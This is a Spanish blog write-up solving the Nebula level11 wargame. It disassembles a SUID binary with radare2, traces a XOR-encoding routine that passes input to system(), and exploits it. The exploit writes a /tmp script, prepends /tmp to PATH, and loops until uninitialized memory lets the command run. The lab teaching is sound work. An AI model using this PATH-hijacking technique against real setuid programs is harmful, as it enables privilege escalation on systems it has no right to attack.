Vayamos con un reto un poco más complicado:
level11@nebula:/home/flag11$ ls -al
total 17
drwxr-x--- 3 flag11 level11 92 2012-08-20 18:58 .
drwxr-xr-x 1 root root 80 2012-08-27 07:18 ..
-rw-r--r-- 1 flag11 flag11 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11 675 2011-05-18 02:54 .profile
drwxr-xr-x 2 flag11 flag11 3 2012-08-27 07:15 .ssh
Recuerda que en el primer post de esta serie de write-ups dijimos que nuestro enfoque para resolver los retos sería de caja negra (black-box), por lo que no disponemos del código fuente y haremos uso de radare2 para encontrar una solución al mismo. Comenzamos:
[0x08048760]> e asm.bytes=false
[0x08048760]> aaaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[0x08048760]> iz
000 0x00000d80 0x08048d80 4 5 (.rodata) ascii TEMP
001 0x00000d85 0x08048d85 18 19 (.rodata) ascii %s/%d.%c%c%c%c%c%c
002 0x00000d98 0x08048d98 18 19 (.rodata) ascii reading from stdin
003 0x00000dab 0x08048dab 16 17 (.rodata) ascii Content-Length:
004 0x00000dbc 0x08048dbc 14 15 (.rodata) ascii invalid header
005 0x00000dcb 0x08048dcb 12 13 (.rodata) ascii fread length
006 0x00000dd8 0x08048dd8 24 25 (.rodata) ascii blue = %d, length = %d,
007 0x00000df1 0x08048df1 10 11 (.rodata) ascii pink = %d\n
008 0x00000dfc 0x08048dfc 34 35 (.rodata) ascii fread fail(blue = %d, length = %d)
009 0x00000e1f 0x08048e1f 4 5 (.rodata) ascii mmap
Podríamos hacer la suposición a partir del volcado de strings que
./flag11
lee una cabecera Content-Length:
desde la entrada estandar stdin
, pero no deja de ser eso, una suposición. Veamos si encontramos funciones interesantes:
[0x08048760]> afl
0x080485e0 1 6 sym.imp.srandom
0x080485f0 1 6 sym.imp.printf
0x08048600 1 6 sym.imp.fgets
0x08048610 1 6 sym.imp.time
0x08048630 1 6 sym.imp.getuid
0x08048640 1 6 sym.imp.unlink
0x08048660 1 6 sym.imp.fread
0x08048670 1 6 sym.imp.getpid
0x08048680 1 6 sym.imp.getenv
0x08048690 1 6 sym.imp.setgid
0x080486a0 1 6 sym.imp.system
0x080486c0 1 6 sym.imp.open
0x080486d0 1 6 sym.imp.mmap
0x080486f0 1 6 sym.imp.write
0x08048700 1 6 sym.imp.getgid
0x08048710 1 6 sym.imp.asprintf
0x08048720 1 6 sym.imp.errx
0x08048730 1 6 sym.imp.setuid
0x08048740 1 6 sym.imp.atoi
0x08048750 1 6 sym.imp.random
0x08048814 1 435 sym.getrand
0x080489c7 4 116 sym.process
0x08048a3b 19 624 main
...
He recortado el listado para centrarme en los detalles interesantes. Entre todos los imports,
sys.imp.system
llama la atención. Por otro lado, las funciones propias de ./flag11
son main()
, process()
, getrand()
. La pregunta del millón es ¿quién llama a system()
?:
[0x08048760]> axt sym.imp.system
sym.process 0x8048a34 [CALL] call sym.imp.system
Perfecto. Analicemos a fondo entonces
process()
:
[0x08048760]> s sym.process
[0x080489c7]> pdf
/ (fcn) sym.process 116
| sym.process (char *string, size_t arg_ch);
| ; var int local_10h @ ebp-0x10
| ; var int local_ch @ ebp-0xc
| ; arg char *string @ ebp+0x8
| ; arg size_t arg_ch @ ebp+0xc
| ; CALL XREFS from main (0x8048b4a, 0x8048c8a)
| 0x080489c7 push ebp
| 0x080489c8 mov ebp, esp
| 0x080489ca sub esp, 0x28 ; '('
| 0x080489cd mov eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| 0x080489d0 and eax, 0xff
| 0x080489d5 mov dword [local_10h], eax
| 0x080489d8 mov dword [local_ch], 0
| ,=< 0x080489df jmp 0x8048a0c
| | ; CODE XREF from sym.process (0x8048a12)
| .--> 0x080489e1 mov eax, dword [local_ch]
| :| 0x080489e4 add eax, dword [string]
| :| 0x080489e7 mov edx, dword [local_ch]
| :| 0x080489ea add edx, dword [string]
| :| 0x080489ed movzx edx, byte [edx]
| :| 0x080489f0 mov ecx, edx
| :| 0x080489f2 mov edx, dword [local_10h]
| :| 0x080489f5 xor edx, ecx
| :| 0x080489f7 mov byte [eax], dl
| :| 0x080489f9 mov eax, dword [local_ch]
| :| 0x080489fc add eax, dword [string]
| :| 0x080489ff movzx eax, byte [eax]
| :| 0x08048a02 movsx eax, al
| :| 0x08048a05 sub dword [local_10h], eax
| :| 0x08048a08 add dword [local_ch], 1
| :| ; CODE XREF from sym.process (0x80489df)
| :`-> 0x08048a0c mov eax, dword [local_ch]
| : 0x08048a0f cmp eax, dword [arg_ch] ; [0xc:4]=-1 ; 12
| `==< 0x08048a12 jl 0x80489e1
| 0x08048a14 call sym.imp.getgid
| 0x08048a19 mov dword [esp], eax
| 0x08048a1c call sym.imp.setgid
| 0x08048a21 call sym.imp.getuid ; uid_t getuid(void)
| 0x08048a26 mov dword [esp], eax
| 0x08048a29 call sym.imp.setuid
| 0x08048a2e mov eax, dword [string] ; [0x8:4]=-1 ; 8
| 0x08048a31 mov dword [esp], eax ; const char *string
| 0x08048a34 call sym.imp.system ; int system(const char *string)
| 0x08048a39 leave
\ 0x08048a3a ret
process()
recibe dos argumentos, un string y un entero que representa su longitud (lo llamaremos len
). Ahora se genera un valor mediante:
mov eax, dword [arg_ch]
and eax, 0xff
Lo que podemos traducir como:
key = len & 0xff
El core de
process()
es un bucle principal que recorre todo el string y realiza una operacion XOR entre la clave y los bytes del string. En cada iteración la clave se regenera restándole a su valor actual el resultado de la operación anterior. Ahora sabemos que arg_ch=len
, local_ch=i
y local_10h=key
. Si renombramos las variables en radare2 el desensamblado es más evidente:
[0x080489c7]> afvn arg_ch len
[0x080489c7]> afvn local_ch i
[0x080489c7]> afvn local_10h key
[0x080489c7]> pdf
/ (fcn) sym.process 116
| sym.process (char *string, size_t len);
| ; var int key @ ebp-0x10
| ; var int i @ ebp-0xc
| ; arg char *string @ ebp+0x8
| ; arg size_t len @ ebp+0xc
| ; CALL XREFS from main (0x8048b4a, 0x8048c8a)
| 0x080489c7 push ebp
| 0x080489c8 mov ebp, esp
| 0x080489ca sub esp, 0x28
| 0x080489cd mov eax, dword [len]
| 0x080489d0 and eax, 0xff
| 0x080489d5 mov dword [key], eax
| 0x080489d8 mov dword [i], 0
| ,=< 0x080489df jmp 0x8048a0c
| | ; CODE XREF from sym.process (0x8048a12)
| .--> 0x080489e1 mov eax, dword [i]
| :| 0x080489e4 add eax, dword [string]
| :| 0x080489e7 mov edx, dword [i]
| :| 0x080489ea add edx, dword [string]
| :| 0x080489ed movzx edx, byte [edx]
| :| 0x080489f0 mov ecx, edx
| :| 0x080489f2 mov edx, dword [key]
| :| 0x080489f5 xor edx, ecx
| :| 0x080489f7 mov byte [eax], dl
| :| 0x080489f9 mov eax, dword [i]
| :| 0x080489fc add eax, dword [string]
| :| 0x080489ff movzx eax, byte [eax]
| :| 0x08048a02 movsx eax, al
| :| 0x08048a05 sub dword [key], eax
| :| 0x08048a08 add dword [i], 1
| :| ; CODE XREF from sym.process (0x80489df)
| :`-> 0x08048a0c mov eax, dword [i]
| : 0x08048a0f cmp eax, dword [len] ; [0xc:4]=-1 ; 12
| `==< 0x08048a12 jl 0x80489e1
| 0x08048a14 call sym.imp.getgid
| 0x08048a19 mov dword [esp], eax
| 0x08048a1c call sym.imp.setgid
| 0x08048a21 call sym.imp.getuid ; uid_t getuid(void)
| 0x08048a26 mov dword [esp], eax
| 0x08048a29 call sym.imp.setuid
| 0x08048a2e mov eax, dword [string] ; [0x8:4]=-1 ; 8
| 0x08048a31 mov dword [esp], eax ; const char *string
| 0x08048a34 call sym.imp.system ; int system(const char *string)
| 0x08048a39 leave
\ 0x08048a3a ret
Finalmente se llama a
system()
con el resultado. Podemos traducir process()
a pseudocódigo:
process(string, len)
{
key = len & 0xff
for (i = 0; i < len; i++)
{
string[i] = string[i] ^ key
key = key - string[i]
}
system(string)
}
Se trata de un mecanismo de cifrado lineal antiguo e inseguro.
process()
se llama en dos ocasiones desde main()
, lo sabemos por:
CALL XREFS from main (0x8048b4a, 0x8048c8a)
Examinemos
main()
para ver si encontramos la forma de llegar a process()
. Mostraré solo los fragmentos relevantes:
[0x080489c7]> s sym.main
[0x08048a3b]> pdf
/ (fcn) main 624
| main (int arg_ch);
| ...
| 0x08048a3b push ebp
| 0x08048a3c mov ebp, esp
| 0x08048a3e push edi
| 0x08048a3f push esi
| 0x08048a40 and esp, 0xfffffff0
| 0x08048a43 sub esp, 0x550
| ...
| 0x08048a5d xor eax, eax
| 0x08048a5f mov eax, dword [sym.stdin] ; obj.stdin ; [0x804a068:4]=0
| 0x08048a64 mov dword [nbytes], eax ; FILE *stream
| 0x08048a68 mov dword [size], 0x100 ; [0x100:4]=-1 ; 256 ; int size
| 0x08048a70 lea eax, [str] ; 0x44c ; 1100
| 0x08048a77 mov dword [esp], eax ; char *s
| 0x08048a7a call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
Se ejecuta:
fgets(str, 256, stdin)
Si la llamada no falla alcanzamos el siguiente trózo de código:
| 0x08048a97 lea eax, [str] ; 0x44c ; 1100
| 0x08048a9e mov edx, eax
| 0x08048aa0 mov eax, str.Content_Length: ; 0x8048dab ; "Content-Length: "
| 0x08048aa5 mov ecx, 0x10 ; 16
| 0x08048aaa mov esi, edx
| 0x08048aac mov edi, eax
| 0x08048aae repe cmpsb byte [esi], byte ptr es:[edi] ; [0x170000001c:1]=255 ; 98784247836
Un código muy frecuente que se traduce como:
strcmp(str, "Content-Length: ")
Si la condición se cumple:
| 0x08048ad7 lea eax, [str] ; 0x44c ; 1100
| 0x08048ade add eax, 0x10
| 0x08048ae1 mov dword [esp], eax ; const char *str
| 0x08048ae4 call sym.imp.atoi ; int atoi(const char *str)
| 0x08048ae9 mov dword [local_3ch], eax
Entonces:
length = atoi(str + 16)
Por lo que se lee el entero que venga a continuación de la cabecera
Content-Length:
. Ahora encontramos una bifurcación importante, el modo visual VV
de radare2 nos ayuda a interpretarlo:
Cada path se ejecuta dependiendo de si el entero leído anteriormente es inferior o superior a 1024. Estudiemos el primer caso (por simplicidad, recortamos aquellos puntos en los que el programa falla):
| | 0x08048af8 mov eax, dword [sym.stdin] ; obj.stdin ; [0x804a068:4]=0
| | 0x08048afd mov ecx, eax
| | 0x08048aff mov edx, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| | 0x08048b03 lea eax, [ptr] ; 0x4c ; 'L' ; 76
| | 0x08048b07 mov dword [local_ch], ecx ; FILE *stream
| | 0x08048b0b mov dword [nbytes], 1 ; size_t nmemb
| | 0x08048b13 mov dword [size], edx ; size_t size
| | 0x08048b17 mov dword [esp], eax ; void *ptr
| | 0x08048b1a call sym.imp.fread ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
*ptr, size_t size, size_t nmemb, FILE *stream)
| | 0x08048b1f mov edx, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| | 0x08048b23 cmp eax, edx
| ,==< 0x08048b25 je 0x8048b3b
| || 0x08048b27 mov dword [size], str.fread_length ; [0x8048dcb:4]=0x61657266 ; "fread length"
| || 0x08048b2f mov dword [esp], 1
| || 0x08048b36 call sym.imp.err
| || ; CODE XREF from main (0x8048b25)
| `--> 0x08048b3b mov eax, dword [local_3ch] ; [0x3c:4]=-1 ; '<' ; 60
| | 0x08048b3f mov dword [size], eax
| | 0x08048b43 lea eax, [ptr] ; 0x4c ; 'L' ; 76
| | 0x08048b47 mov dword [esp], eax
| | 0x08048b4a call sym.process
En pseudocódigo:
if (fread(str, length, 1, stdin) == length)
process(str, length)
Si consultamos la definición de
fread()
en la página man
, observamos que:
size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream);
En el código el segundo y tercer argumento se han intercambiado "erróneamente", y
fread()
sólo leerá un byte desde stdin
. La conclusión es que en este path de ejecución, solo podemos hacer que process()
se ejecute si proporcionamos a ./flag11
la siguiente entrada:
Content-Length: 1\nH\n
El caracter utilizado puede ser cualquier que tras realizar la operación
c XOR 0x01
produzca otro caracter imprimible. En nuestro ejemplo:
'H' ^ 0x01 = 'I'
Hacemos una prueba:
level11@nebula:/home/flag11$ printf "Content-Length: 1\nH\n" | ./flag11
sh: I@K: command not found
level11@nebula:/home/flag11$ printf "Content-Length: 1\nH\n" | ./flag11
sh: $'I\300@': command not found
level11@nebula:/home/flag11$ printf "Content-Length: 1\nH\n" | ./flag11
sh: I0$: command not found
fread() solo lee un byte, por lo que no podemos introducir un byte
NULL
como terminador de cadena. Cuando se llama a system(str)
, además de nuestro carácter, str
contiene memoria no inicializada.
Nota: Para aquellos interesados en ver como un atacante puede aprovecharse del uso de memoria no inicializada en entornos locales, le recomiendo el conocido artículo Controlling uninitialized memory with LD_PRELOAD.
No obstante, podemos hacer bruteforce, y esperar a que aparezca un byte \x00
en alguno de los intentos:
level11@nebula:/home/flag11$ printf '#!/bin/sh\n getflag' > /tmp/I
level11@nebula:/home/flag11$ chmod +x /tmp/I
level11@nebula:/home/flag11$ export PATH=/tmp:$PATH
level11@nebula:/home/flag11$ while true; do printf "Content-Length: 1\nH\n" | ./flag11; done
sh: $'I\340m': command not found
getflag is executing on a non-flag account, this doesn't count
sh: $'I\260^': command not found
sh: $'I\320\346': command not found
sh: -c: line 0: unexpected EOF while looking for matching ``'
sh: -c: line 1: syntax error: unexpected end of file
sh: I@*: command not found
getflag is executing on a non-flag account, this doesn't count
El resultado es positivo. Por desgracia
getflag
no se ejecuta como usuario flag11. Si hacemos memoria, en el desensamblado de process()
se producen las siguientes llamadas:
0x08048a14 call sym.imp.getgid
0x08048a19 mov dword [esp], eax
0x08048a1c call sym.imp.setgid
0x08048a21 call sym.imp.getuid
0x08048a26 mov dword [esp], eax
0x08048a29 call sym.imp.setuid
Lo que es equivalente a:
setgid(getgid())
setuid(getuid())
Lo que dropea los privilegios del program SUID. Estas instrucciones no figuraban en el reto original ni en el código fuente mostrado en la página oficial, por lo tanto, damos el resultado por válido.
Pwned!
No hay comentarios:
Publicar un comentario